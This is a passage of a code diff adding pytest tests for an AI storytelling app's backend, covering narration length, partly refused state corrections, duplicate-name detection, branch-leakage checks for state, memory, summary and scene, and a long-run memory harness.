+    updated = client.patch(f"/api/adventures/{campaign['id']}",
+                           json={"narration_length": "long"})
+    assert updated.status_code == 200, updated.text[:300]
+    assert updated.json()["narration_length"] == "long"
+
+
+def test_a_length_the_builder_cannot_serve_is_refused(client):
+    """A closed set, because an unknown value would silently mean 'no effect'."""
+    response = client.post("/api/adventures", json={
+        "title": "Bad", "opening": "x", "narration_length": "epic"})
+    assert response.status_code == 422
+
+
+def test_the_stored_prompt_carries_the_campaigns_own_range(client):
+    """End to end: two campaigns, two choices, two different prompts."""
+    from sqlalchemy.orm import undefer
+
+    seen = {}
+    for length in ("brief", "long"):
+        campaign = _campaign(client, narration_length=length)
+        ScriptedProvider.replies = ["The rain does not let up."]
+        assert client.post(f"/api/adventures/{campaign['id']}/actions",
+                           json={"type": "do", "text": "look"}).status_code == 200
+        with SessionLocal() as db:
+            action = (
+                db.query(models.Action)
+                .filter(models.Action.adventure_id == campaign["id"],
+                        models.Action.type == "ai")
+                .options(undefer(models.Action.context_snapshot))
+                .order_by(models.Action.id.desc()).first()
+            )
+        hint = next(s for s in action.context_snapshot["sections"]
+                    if s["label"] == "length_hint")
+        seen[length] = _numbers(hint["text"])[0]
+    assert seen["brief"] < seen["long"], seen
+
+
+def test_the_choice_travels_in_the_bundle(client):
+    campaign = _campaign(client, narration_length="long")
+    exported = client.get(f"/api/adventures/{campaign['id']}/export").json()
+    assert exported["narrationLength"] == "long"
+    copy_id = client.post("/api/adventures/import", json=exported).json()["id"]
+    assert client.get(f"/api/adventures/{copy_id}").json()["narration_length"] == "long"
+
+
+def test_a_bundle_naming_a_length_this_build_cannot_serve_drops_it(client):
+    campaign = _campaign(client, narration_length="long")
+    payload = client.get(f"/api/adventures/{campaign['id']}/export").json()
+    payload["narrationLength"] = "cinematic"
+    copy_id = client.post("/api/adventures/import", json=payload).json()["id"]
+    # Empty rather than stored: a preference the builder ignores is
+    # indistinguishable from the defect this milestone fixed.
+    assert client.get(f"/api/adventures/{copy_id}").json()["narration_length"] == ""
+
+
+def test_an_older_bundle_with_no_length_imports_unchanged(client):
+    campaign = _campaign(client, narration_length="long")
+    payload = client.get(f"/api/adventures/{campaign['id']}/export").json()
+    del payload["narrationLength"]
+    copy_id = client.post("/api/adventures/import", json=payload).json()["id"]
+    assert client.get(f"/api/adventures/{copy_id}").json()["narration_length"] == ""
+
+
+# ------------------- C04: a correction that is partly refused says so (M11-1)
+
+def test_a_partly_refused_correction_reports_what_did_not_apply(client):
+    """The defect the identity diagnostic surfaced, as a regression.
+
+    A correction of two changes where one names a location that does not exist:
+    the good one lands, the bad one does not, and **before M11 the answer was an
+    unqualified 201**. The reader was told nothing, and went on believing they
+    had set a scene they had not.
+
+    `validate.py` already said this must not happen — "what is never allowed is
+    a rejected event mutating anything, or **a rejection being silent**" — and
+    the refusal was recorded on the proposal for the audit trail. What was
+    missing was telling the person who made the correction. Partial application
+    itself is deliberate and is unchanged: losing three good changes to one typo
+    would be worse.
+    """
+    campaign = _campaign(client)
+    response = client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
+        "events": [
+            {"type": "create_entity", "entity": "mara",
+             "entity_type": "character", "name": "Mara"},
+            {"type": "set_scene", "summary": "In the hall.",
+             "location": "nowhere", "present": ["mara"]},
+        ],
+        "note": "one good, one bad",
+    })
+    assert response.status_code == 201, response.text[:300]
+    body = response.json()
+
+    # The good change landed.
+    assert "mara" in body["document"]["entities"]
+    # The bad one did not, and the caller is told which and why.
+    assert body["document"].get("scene") in ({}, None)
+    assert len(body["refused"]) == 1, body["refused"]
+    refusal = body["refused"][0]
+    assert refusal["event"]["type"] == "set_scene"
+    assert refusal["reason"] == "unknown_reference"
+    assert "nowhere" in refusal["detail"]
+
+
+def test_a_correction_that_fully_applies_reports_nothing_refused(client):
+    """The control: `refused` is empty when nothing was refused."""
+    campaign = _campaign(client)
+    response = client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
+        "events": [{"type": "create_entity", "entity": "mara",
+                    "entity_type": "character", "name": "Mara"}],
+        "note": "",
+    })
+    assert response.status_code == 201
+    assert response.json()["refused"] == []
+
+
+def test_a_wholly_refused_correction_is_still_a_400(client):
+    """Unchanged: nothing applied is an error, not a success with a note."""
+    campaign = _campaign(client)
+    response = client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
+        "events": [{"type": "set_scene", "summary": "x", "location": "nowhere"}],
+        "note": "",
+    })
+    assert response.status_code == 400
+    assert "nowhere" in response.json()["detail"]
+
+
+def test_the_refusal_is_still_recorded_for_the_audit_trail(client):
+    """The half that already worked keeps working: §8's proposal record."""
+    campaign = _campaign(client)
+    client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
+        "events": [
+            {"type": "create_entity", "entity": "mara",
+             "entity_type": "character", "name": "Mara"},
+            {"type": "set_scene", "summary": "In the hall.", "location": "nowhere"},
+        ],
+        "note": "",
+    })
+    with SessionLocal() as db:
+        # `detail` is deferred, so it is read inside the session — reading it
+        # after the session closed is how the first version of this test failed.
+        rows = [
+            (p.status, repr(p.detail))
+            for p in db.query(models.StateProposal).filter(
+                models.StateProposal.adventure_id == campaign["id"]).all()
+        ]
+    partial = [row for row in rows if row[0] == "partially_accepted"]
+    assert partial, [row[0] for row in rows]
+    # And the reason is on the record, not only the verdict.
+    assert "nowhere" in partial[0][1]
+
+
+# --------------------------------- finding D: the structural fact to check first
+
+def test_two_entities_may_still_share_a_display_name(client):
+    """Recorded, not fixed — and the distinction matters.
+
+    The finding says to check this first: the narrative state keys entities by
+    the model-supplied id and `DUPLICATE_ENTITY` rejects only a repeated *key*,
+    so two characters can be created with the same `name` and nothing says so.
+    That is one of the finding's candidate failure modes.
+
+    It is **not** made an error here. Two people called Alice is an ordinary
+    thing for a story to contain, and refusing it would refuse legitimate
+    fiction to guard against a model mistake. What M11 adds instead is
+    *detection*: `nmodel.duplicate_names` reports it, the identity diagnostic
+    (`tools/m11_identity.py`) reads that report, and the reader's State panel
+    can show it. This test pins the permissive behaviour so a later milestone
+    changes it deliberately rather than by accident.
+    """
+    campaign = _campaign(client)
+    response = client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
+        "events": [
+            {"type": "create_entity", "entity": "alice_1",
+             "entity_type": "character", "name": "Alice"},
+            {"type": "create_entity", "entity": "alice_2",
+             "entity_type": "character", "name": "Alice"},
+        ],
+        "note": "two people, one name",
+    })
+    assert response.status_code == 201, response.text[:300]
+    document = client.get(f"/api/adventures/{campaign['id']}/state").json()["document"]
+    assert set(document["entities"]) >= {"alice_1", "alice_2"}
+
+
+def test_the_state_reports_a_shared_display_name(client):
+    """M11 adds the detection the finding asks for, without adding a refusal."""
+    campaign = _campaign(client)
+    client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
+        "events": [
+            {"type": "create_entity", "entity": "alice_1",
+             "entity_type": "character", "name": "Alice"},
+            {"type": "create_entity", "entity": "alice_2",
+             "entity_type": "character", "name": "alice "},
+            {"type": "create_entity", "entity": "roger",
+             "entity_type": "character", "name": "Roger"},
+        ],
+        "note": "",
+    })
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, campaign["id"])
+        clashes = nmodel.duplicate_names(adventure.narrative_state)
+    # Case and surrounding space do not make two people different.
+    assert clashes == {"alice": ["alice_1", "alice_2"]}
+
+
+def test_a_campaign_with_distinct_names_reports_nothing(client):
+    campaign = _campaign(client)
+    client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
+        "events": [
+            {"type": "create_entity", "entity": "a", "entity_type": "character",
+             "name": "Alice"},
+            {"type": "create_entity", "entity": "r", "entity_type": "character",
+             "name": "Roger"},
+        ],
+        "note": "",
+    })
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, campaign["id"])
+        assert nmodel.duplicate_names(adventure.narrative_state) == {}

backend/tests/test_m11_leakage.py

@@ -0,0 +1,417 @@
+"""M11 §13: E01-E04, all four at once, in one long campaign.
+
+The E-series already has tests, and good ones — M6's corrective pass rewrote E03
+after an independent review found the first version passing while the defect was
+live. What none of them does is what the M11 brief asks for: exercise all four
+**together, in a single campaign, under realistic long-story conditions**, with
+state, memories, summaries, imported knowledge and a scene all live at once.
+
+That matters because the four leaks share one mechanism — a head that moves and
+a lineage that decides what is still true — and a campaign that has only one of
+them cannot show the mechanism failing for one and holding for another. It also
+adds the dimension none of the earlier tests could have: M10's Scene Packet, the
+thing a future depiction would be built from, which has to answer for the active
+line exactly as the state does.
+
+Four sentinels, one per class, each with a positive control on path A and a
+negative control on path B:
+
+    state     a fact and a location established on the abandoned line
+    memory    a distinctive memory extracted from abandoned turns
+    summary   a summary **regenerated after the divergence** (M6-F1's shape)
+    scene     the location the abandoned line moved to, in the state *and* in
+              the derived packet
+
+    python -m pytest tests/test_m11_leakage.py -v
+"""
+
+import asyncio
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, limits, memorybank, models, summaries
+from app.context import lineage
+from app.database import Base, SessionLocal, engine, get_db
+from app.knowledge import embeddings
+from app.main import app
+from app.routers import adventures
+
+from fakes import ScriptedProvider, state_block
+
+#: One per leak class, so a failure names which boundary broke.
+STATE_SENTINEL = "the-abbey-seal-was-broken"
+MEMORY_SENTINEL = "GRIMWALD-CONFESSED-8821"
+SUMMARY_SENTINEL = "ABANDONED-OATH-SWORN-4416"
+SCENE_SENTINEL = "old_abbey_crypt"
+
+
+class Summariser:
+    """Carries the summary forward and folds in new events, as a real one does.
+
+    Copied in behaviour from `test_context_memory.CarryingSummariser` — the M6
+    corrective pass established that a summariser which *discards* its seed
+    cannot show the E03 defect, because the defect is in what the seed contains.
+    """
+
+    def __init__(self):
+        self.seeds: list[str] = []
+
+    async def complete(self, system, user, *, max_tokens=600):
+        if "Current story summary:" not in user:
+            found = [s for s in (MEMORY_SENTINEL, SUMMARY_SENTINEL) if s in user]
+            if found:
+                return "MEM[" + " ".join(found) + "]"
+            return "MEM[the road, and nothing sworn]"
+        current = user.split("Current story summary:\n", 1)[1].split("\n\nNew events")[0]
+        events = user.split("New events since the last update:\n", 1)[1].split(
+            "\n\nUpdated summary:")[0]
+        self.seeds.append(current.strip())
+        carried = "" if current.strip() == "(none yet)" else current.strip() + " "
+        return (carried + events.strip().replace("\n", " "))[:2000]
+
+    async def embed(self, texts):
+        out = []
+        for text in texts:
+            out.append([
+                1.0,
+                1.0 if MEMORY_SENTINEL in text or "confess" in text.lower() else 0.0,
+                1.0 if "road" in text.lower() else 0.0,
+            ])
+        return out
+
+
+@pytest.fixture()
+def summariser(monkeypatch):
+    made = Summariser()
+    monkeypatch.setattr(memorybank, "summary_provider", lambda s: made)
+    monkeypatch.setattr(memorybank, "embedding_provider", lambda s: made)
+    return made
+
+
+@pytest.fixture()
+def client(monkeypatch, summariser):
+    Base.metadata.create_all(bind=engine)
+    memorybank._vector_cache.clear()
+    embeddings._cache.clear()
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="m11leak@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(
+        user_id=user.id, model="test-model", embedding_model="embed-test",
+        context_token_budget=6000, max_output_tokens=400, memory_top_k=4,
+    ))
+    adventure = models.Adventure(
+        user_id=user.id, title="Continuity", memory_bank_enabled=True,
+        auto_summarize=True,
+        campaign_canon={"rules": ["The dead do not return."]},
+    )
+    setup.add(adventure)
+    setup.flush()
+    setup.add(models.Action(adventure_id=adventure.id, type="start",
+                            text="Rain over Westhaven, and the abbey bell tolling."))
+    setup.commit()
+    adv_id, user_id = adventure.id, user.id
+    setup.close()
+
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    test_client = TestClient(app)
+    test_client.adv_id = adv_id
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        adventures.turns._active_turns.clear()
+        memorybank._vector_cache.clear()
+        embeddings._cache.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+# ----------------------------------------------------------------- helpers
+
+def play(client, text, prose="The road bends on past the treeline.", events=None):
+    ScriptedProvider.replies = [f"{prose}\n{state_block(events or [])}"]
+    response = client.post(f"/api/adventures/{client.adv_id}/actions",
+                           json={"type": "do", "text": text})
+    assert response.status_code == 200, response.text[:300]
+    assert '"error"' not in response.text, response.text[:300]
+
+
+def report(client) -> dict:
+    response = client.get(f"/api/adventures/{client.adv_id}/context")
+    assert response.status_code == 200, response.text[:300]
+    return response.json()
+
+
+def prompt_of(report_: dict) -> str:
+    return "\n".join(section["text"] for section in report_["sections"])
+
+
+def state_of(client) -> dict:
+    return client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
+
+
+def packet_of(client) -> dict:
+    response = client.get(f"/api/adventures/{client.adv_id}/scene-packet")
+    assert response.status_code == 200, response.text[:300]
+    return response.json()
+
+
+def head_of(client):
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        return adventure.head_branch_id, adventure.head_depth
+
+
+def settle(client, rounds=8):
+    """Runs the derived pass until it has caught up, as a played campaign would.
+
+    `MAX_MEMORIES_PER_RUN` is 5, so one call settles at most five blocks — a cap
+    that exists so an imported campaign does not do all its catch-up inside one
+    turn. A test that calls it once and then asserts on the summary is asserting
+    against a half-settled campaign, which is how the first version of this file
+    failed: path A's later turns, the ones carrying the summary sentinel, had
+    not been summarised yet.
+    """
+    for _ in range(rounds):
+        before = _settled_marks(client)
+        asyncio.run(memorybank.run_post_turn(client.adv_id))
+        if _settled_marks(client) == before:
+            return
+
+
+def _settled_marks(client):
+    with SessionLocal() as db:
+        return (
+            db.query(models.Memory).filter(
+                models.Memory.adventure_id == client.adv_id).count(),
+            db.query(models.Summary).filter(
+                models.Summary.adventure_id == client.adv_id).count(),
+        )
+
+
+@pytest.fixture()
+def diverged(client, summariser):
+    """One campaign: a long path A holding all four sentinels, then a path B.
+
+    Returns what the positive controls established on A, so the negative
+    controls on B can be asserted against something rather than against nothing.
+    """
+    # ---- Path A. Long enough that summaries and memories are real. ----
+    play(client, "arrive", events=[
+        {"type": "create_entity", "entity": "aldric", "entity_type": "character",
+         "name": "Aldric"},
+        {"type": "create_entity", "entity": "grimwald", "entity_type": "character",
+         "name": "Grimwald"},
+        {"type": "create_entity", "entity": "tavern", "entity_type": "location",
+         "name": "The Crooked Lantern"},
+        {"type": "create_entity", "entity": SCENE_SENTINEL,
+         "entity_type": "location", "name": "The abbey crypt"},
+        {"type": "set_scene", "summary": "Aldric and Grimwald take the corner table.",
+         "location": "tavern", "present": ["aldric", "grimwald"]},
+    ])
+    for i in range(10):
+        play(client, f"a{i}", prose=f"They talk on into the evening. [{i}]")
+
+    # The four sentinels, established together on the line that will be left.
+    play(client, "the confession", prose=(
+        f"Grimwald says it plainly: {MEMORY_SENTINEL}. They swear the "
+        f"{SUMMARY_SENTINEL} on it."
+    ), events=[
+        {"type": "add_fact", "subject": "grimwald", "predicate": "confessed",
+         "object": "aldric", "fact_id": STATE_SENTINEL},
+        {"type": "set_current_location", "entity": "aldric",
+         "location": SCENE_SENTINEL},
+        {"type": "set_scene",
+         "summary": "Aldric stands in the abbey crypt, the seal broken.",
+         "location": SCENE_SENTINEL, "present": ["aldric"]},
+    ])
+    for i in range(10):
+        play(client, f"a2{i}", prose=(
+            f"The crypt is cold, and the {SUMMARY_SENTINEL} still stands. [{i}]"))
+    settle(client)
+
+    before = {
+        "report": report(client),
+        "state": state_of(client),
+        "packet": packet_of(client),
+        "head": head_of(client),
+    }
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        row = summaries.current(db, adventure)
+        before["summary_id"] = row.id if row else None
+        before["summary_text"] = row.text if row else ""
+
+    # ---- Move the head below every sentinel, then diverge. ----
+    while head_of(client)[1] > 11:
+        assert client.post(f"/api/adventures/{client.adv_id}/undo").status_code == 200
+    summariser.seeds.clear()
+
+    # ---- Path B. Far enough that a NEW summary is generated (M6-F1). ----
+    play(client, "b-turn", prose="Aldric leaves the table and takes the dry road.",
+         events=[
+             {"type": "set_current_location", "entity": "aldric", "location": "tavern"},
+             {"type": "set_scene", "summary": "Aldric alone on the road out of town.",
+              "location": "tavern", "present": ["aldric"]},
+         ])
+    for i in range(14):
+        play(client, f"b{i}", prose=f"A dry road, nothing sworn, nothing confessed. [{i}]")
+    settle(client)
+
+    return {"before": before, "after": {
+        "report": report(client),
+        "state": state_of(client),
+        "packet": packet_of(client),
+        "head": head_of(client),
+    }}
+
+
+# ------------------------------------------------------- positive controls
+
+def test_path_a_really_established_all_four(diverged):
+    """Without this, every assertion below proves only that nothing happened."""
+    before = diverged["before"]
+    prompt = prompt_of(before["report"])
+
+    facts = [f.get("id") for f in before["state"].get("facts", [])]
+    assert STATE_SENTINEL in facts, "the state sentinel was never established"
+    assert before["state"]["scene"]["location"] == SCENE_SENTINEL
+    assert before["packet"]["location"]["key"] == SCENE_SENTINEL
+    assert before["summary_id"] is not None, "no summary was generated on path A"
+    assert SUMMARY_SENTINEL in before["summary_text"], (
+        "the fixture did not get the sentinel into path A's summary")
+    assert SUMMARY_SENTINEL in prompt, "path A's prompt did not carry its own summary"
+    assert MEMORY_SENTINEL in prompt or any(
+        MEMORY_SENTINEL in (m.get("text") or "")
+        for m in (before["report"].get("memories") or {}).get("used", [])
+    ), "the memory sentinel never reached path A's prompt"
+
+
+# ------------------------------------------------------- E01: state
+
+def test_e01_the_abandoned_fact_is_not_in_the_active_state(diverged):
+    facts = [f.get("id") for f in diverged["after"]["state"].get("facts", [])]
+    assert STATE_SENTINEL not in facts
+
+
+def test_e01_the_abandoned_fact_is_not_in_the_active_prompt(diverged):
+    assert STATE_SENTINEL not in prompt_of(diverged["after"]["report"])
+
+
+# ------------------------------------------------------- E02: memory
+
+def test_e02_the_abandoned_memory_does_not_enter_the_active_prompt(diverged):
+    after = diverged["after"]["report"]
+    assert MEMORY_SENTINEL not in prompt_of(after)
+    used = (after.get("memories") or {}).get("used", [])
+    assert not any(MEMORY_SENTINEL in (m.get("text") or "") for m in used)
+
+
+def test_e02_the_abandoned_memory_is_still_on_disk(client, diverged):
+    """Retained, not deleted — the story was left, not erased (ADR 012)."""
+    with SessionLocal() as db:
+        stored = db.query(models.Memory).filter(
+            models.Memory.adventure_id == client.adv_id,
+            models.Memory.text.like(f"%{MEMORY_SENTINEL}%"),
+        ).count()
+    assert stored > 0, "the abandoned memory was destroyed rather than retained"
+
+
+# ------------------------------------------------------- E03: summary
+
+def test_e03_a_new_summary_was_generated_on_the_new_line(client, diverged):
+    """M6-F1's shape: the test is worthless unless a regeneration happened."""
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        row = summaries.current(db, adventure)
+    assert row is not None, "no summary is eligible on path B"
+    assert row.id != diverged["before"]["summary_id"], (
+        "path B reused path A's summary row rather than generating one")
+
+
+def test_e03_the_regenerated_summary_carries_no_abandoned_content(client, diverged):
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        row = summaries.current(db, adventure)
+    assert SUMMARY_SENTINEL not in (row.text or "")
+    assert MEMORY_SENTINEL not in (row.text or "")
+
+
+def test_e03_the_summariser_was_never_offered_the_abandoned_summary(summariser, diverged):
+    """The fix is at the input. A filter over the output would be a different bug."""
+    assert summariser.seeds, "no summary was generated on path B"
+    assert not any(SUMMARY_SENTINEL in seed for seed in summariser.seeds)
+
+
+def test_e03_no_abandoned_turn_is_on_the_active_lineage(client, diverged):
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        leaked = db.query(models.Action).filter(
+            models.Action.adventure_id == client.adv_id,
+            lineage.path_of(db, adventure).clause(models.Action),
+            models.Action.text.like(f"%{SUMMARY_SENTINEL}%"),
+        ).count()
+    assert leaked == 0, "the fixture left path-A story on path B's lineage"
+
+
+def test_e03_the_abandoned_summary_row_is_retained(client, diverged):
+    with SessionLocal() as db:
+        kept = db.query(models.Summary).filter(
+            models.Summary.adventure_id == client.adv_id,
+            models.Summary.text.like(f"%{SUMMARY_SENTINEL}%"),
+        ).count()
+    assert kept > 0, "the abandoned summary was deleted rather than retired"
+
+
+# ------------------------------------------------------- E04: scene
+
+def test_e04_the_current_scene_is_the_active_lines_scene(diverged):
+    """The acceptance scenario, exactly: the discarded future moved to the abbey."""
+    scene = diverged["after"]["state"]["scene"]
+    assert scene["location"] == "tavern"
+    assert scene["location"] != SCENE_SENTINEL
+
+
+def test_e04_the_protagonists_location_followed_the_active_line(diverged):
+    entities = diverged["after"]["state"].get("entities") or {}
+    assert (entities.get("aldric") or {}).get("location") != SCENE_SENTINEL
+
+
+def test_e04_the_derived_scene_packet_shows_the_active_line_only(diverged):
+    """M10's packet, which is what a future depiction would be built from.
+
+    The packet is derived from the authoritative state on read, so this cannot
+    fail while the state above passes — which is the point. It is asserted
+    anyway because the packet is a *new* surface since E04 was written, and a
+    later change that gave it a store of its own would fail here.
+    """
+    packet = diverged["after"]["packet"]
+    assert packet["location"]["key"] == "tavern"
+    assert SCENE_SENTINEL not in repr(packet)
+    assert packet["scene_id"] != diverged["before"]["packet"]["scene_id"]
+
+
+def test_e04_the_abandoned_scene_is_still_retained_at_its_own_position(client, diverged):
+    """Retained history keeps its scene; it simply is not current."""
+    from sqlalchemy.orm import undefer
+
+    with SessionLocal() as db:
+        rows = (
+            db.query(models.Action)
+            .filter(models.Action.adventure_id == client.adv_id)
+            .options(undefer(models.Action.narrative_state_after))
+            .all()
+        )
+    kept = [
+        r for r in rows
+        if ((r.narrative_state_after or {}).get("scene") or {}).get("location")
+        == SCENE_SENTINEL
+    ]
+    assert kept, "the abandoned line's scene was destroyed rather than retained"

backend/tests/test_m11_long_run_memory.py

@@ -0,0 +1,324 @@
+"""The long run turns the memory bank and the rolling summary on, and proves it.
+
+M01's step list asks for "summary/memory activation". Both are per-campaign
+switches that default to off (`models.Adventure`), and the harness that ran the
+first complete hundred-turn campaign never touched them: the bank stayed empty,
+no summary was written, and M04's recall succeeded through narrative state alone.
+Nothing in that run's evidence said so except a row of zeros nobody was looking
+for.
+
+These tests drive `Run.setup` against the real application in-process, so the
+switch is proved by the application accepting it rather than by the harness
+sending it. What they cannot prove is that a hundred turns then fill the bank —
+that is what the run itself proves, and `memories_in_bank` in its timeline is
+where it shows.
+"""
+import json
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, models
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+from tools import m11_long_run as lr
+
+
+UNREACHABLE = "http://127.0.0.1:1/v1"
+
+
+class InProcess:
+    """`Storyteller.call`, spoken to the application through the test client."""
+
+    starts = 1
+
+    def __init__(self, client: TestClient):
+        self.client = client
+
+    def call(self, method, path, payload=None, timeout=600):
+        response = self.client.request(method, f"/api{path}", json=payload)
+        response.raise_for_status()
+        return response.json() if response.content else None
+
+
+class IgnoresThePatch:
+    """A server that answers the PATCH and changes nothing, which is exactly the
+    failure `setup` must refuse rather than record."""
+
+    starts = 1
+
+    def __init__(self):
+        self.calls = []
+
+    def call(self, method, path, payload=None, timeout=600):
+        self.calls.append((method, path))
+        if path == "/settings":
+            return {"model": "m", "context_token_budget": 16384,
+                    "model_timeout_seconds": 1800}
+        if method == "POST" and path == "/adventures":
+            return {"id": 1}
+        if method == "GET" and path == "/adventures/1":
+            return {"memory_bank_enabled": False, "auto_summarize": False}
+        return {}
+
+
+@pytest.fixture()
+def client(monkeypatch):
+    monkeypatch.setattr(lr, "ENDPOINT", UNREACHABLE)
+    monkeypatch.setattr(lr, "MODEL", "some-model")
+    monkeypatch.setattr(lr, "EMBED_MODEL", "some-embedder")
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="m11mem@example.com")
+    setup.add(user)
+    setup.commit()
+    user_id = user.id
+    setup.close()
+
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    try:
+        yield TestClient(app)
+    finally:
+        app.dependency_overrides.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+@pytest.fixture()
+def run_for(tmp_path, monkeypatch):
+    """A `Run` on the given server. Uploads are skipped: `upload` builds its own
+    multipart request to a port, and the knowledge library is not what these
+    tests are about."""
+    made = []
+
+    def make(server):
+        run = lr.Run(server, tmp_path, turns_target=100)
+        monkeypatch.setattr(run, "upload", lambda *a, **k: None)
+        made.append(run)
+        return run
+
+    yield make
+    for run in made:
+        run.timeline.close()
+
+
+def test_a_fresh_campaign_starts_with_both_switches_off(client):
+    """The premise. If this ever changes, the harness's PATCH is redundant but
+    harmless; while it holds, a harness without the PATCH measures nothing."""
+    created = client.post("/api/adventures", json={"title": "untouched"}).json()
+    assert created["memory_bank_enabled"] is False
+    assert created["auto_summarize"] is False
+
+
+def test_setup_leaves_the_campaign_with_memory_and_summary_on(client, run_for):
+    run = run_for(InProcess(client))
+    run.setup()
+
+    stored = client.get(f"/api/adventures/{run.adv}").json()
+    assert stored["memory_bank_enabled"] is True
+    assert stored["auto_summarize"] is True
+
+    activated = [e for e in run.events if e["kind"] == "memory_activated"]
+    assert len(activated) == 1
+    assert activated[0]["memory_bank_enabled"] is True
+    assert activated[0]["auto_summarize"] is True
+
+
+def test_setup_refuses_a_campaign_that_did_not_take_the_switches(run_for):
+    """Hours of turns against a campaign with the bank off is the run that was
+    already had. It must stop before the first one, not report silence after."""
+    server = IgnoresThePatch()
+    run = run_for(server)
+
+    with pytest.raises(SystemExit, match="summary/memory clause"):
+        run.setup()
+
+    # It asked, it read back, and it went no further.
+    assert ("PATCH", "/adventures/1") in server.calls
+    assert not any("/state/corrections" in path for _, path in server.calls)
+    recorded = [e for e in run.events if e["kind"] == "memory_activated"]
+    assert recorded and recorded[0]["memory_bank_enabled"] is False
+
+
+def test_a_run_without_an_embedding_model_is_refused(monkeypatch, tmp_path, capsys):
+    """With the bank on and no embedder, memories are written and never
+    retrieved: `memorybank.retrieve` answers "No embedding model configured".
+    That is the same unexercised path in a fuller bank, so it is refused before
+    a server is started or a directory is claimed."""
+    monkeypatch.setattr(lr, "ENDPOINT", UNREACHABLE)
+    monkeypatch.setattr(lr, "MODEL", "some-model")
+    monkeypatch.setattr(lr, "EMBED_MODEL", "")
+    out = tmp_path / "never-made"
+    monkeypatch.setattr("sys.argv", ["m11_long_run", "--out", str(out)])
+
+    assert lr.main() == 2
+    assert "AIDND_TEST_EMBED_MODEL" in capsys.readouterr().out
+    assert not out.exists()
+
+
+def test_the_bank_is_counted_from_the_application(client, run_for):
+    run = run_for(InProcess(client))
+    run.setup()
+    assert run.bank_size() == 0
+
+    db = SessionLocal()
+    try:
+        db.add(models.Memory(adventure_id=run.adv, text="the key opens the crypt"))
+        db.commit()
+    finally:
+        db.close()
+    assert run.bank_size() == 1
+
+
+def test_a_count_that_cannot_be_read_is_minus_one_not_an_exception(run_for):
+    """Measurement never fails a turn; -1 is distinguishable from an empty bank."""
+
+    class Down:
+        starts = 1
+
+        def call(self, *a, **k):
+            raise ConnectionError("gone")
+
+    run = run_for(Down())
+    run.adv = 7
+    assert run.bank_size() == -1
+
+
+# ----------------------------------------------- failed post-turn work stops a run
+
+class Reports:
+    """A server whose derived status, summaries and log say what the test sets."""
+
+    starts = 1
+
+    def __init__(self, log_path, *, status=None, summaries=0, memories=0):
+        self.log_path = log_path
+        self.status = status or []
+        self.summaries = summaries
+        self.memories = memories
+
+    def call(self, method, path, payload=None, timeout=600):
+        if path.endswith("/derived"):
+            return {"status": self.status,
+                    "failing": [r["kind"] for r in self.status if r["status"] == "failed"],
+                    "summaries": [{"id": i} for i in range(self.summaries)]}
+        if path.endswith("/memories"):
+            return [{"id": i} for i in range(self.memories)]
+        return {}
+
+
+def test_a_failed_pass_in_derived_status_stops_the_run(run_for, tmp_path):
+    server = Reports(tmp_path / "server.log", status=[
+        {"kind": "summary", "status": "failed", "detail": "ProviderError: gone"},
+        {"kind": "memory", "status": "idle", "detail": ""},
+    ])
+    run = run_for(server)
+    run.adv = 1
+    found = run.background_failures()
+    assert found == ["summary: ProviderError: gone"]
+
+
+def test_a_failure_the_application_could_not_record_is_found_in_the_log_once(run_for, tmp_path):
+    """The failure that hid the first GPU trial: derived status said `idle` and
+    the only record was in the server log."""
+    log = tmp_path / "server.log"
+    log.write_text("INFO: 200 OK\nERROR:app.memorybank:could not record derived-work failure for 1\n")
+    run = run_for(Reports(log))
+    run.adv = 1
+
+    assert len(run.background_failures()) == 1
+    assert run.background_failures() == [], "the same line was reported twice"
+
+    with log.open("a") as handle:
+        handle.write("ERROR:app.derived:derived summary work failed for adventure 1\n")
+    assert len(run.background_failures()) == 1
+
+
+def test_healthy_status_and_a_quiet_log_find_nothing(run_for, tmp_path):
+    log = tmp_path / "server.log"
+    log.write_text('INFO: "POST /api/adventures/1/actions HTTP/1.1" 200 OK\n')
+    run = run_for(Reports(log, status=[{"kind": "memory", "status": "ok", "detail": ""}]))
+    run.adv = 1
+    assert run.background_failures() == []
+
+
+def test_the_log_position_survives_a_resume(run_for, tmp_path):
+    """Otherwise a resumed run would find the failure that stopped it again, and
+    stop again, however healthy the application now is."""
+    first = run_for(Reports(tmp_path / "server.log"))
+    first.adv, first.log_offset = 1, 4096
+    first.save_resume()
+
+    second = run_for(Reports(tmp_path / "server.log"))
+    second.adopt(json.loads((tmp_path / lr.RESUME_FILE).read_text()))
+    assert second.log_offset == 4096
+
+
+def test_a_run_with_no_summary_or_no_memory_is_not_complete(run_for, tmp_path):
+    log = tmp_path / "server.log"
+    assert "summaries=0" in lr._activation_shortfall(
+        _with_adv(run_for(Reports(log, memories=3, summaries=0))))
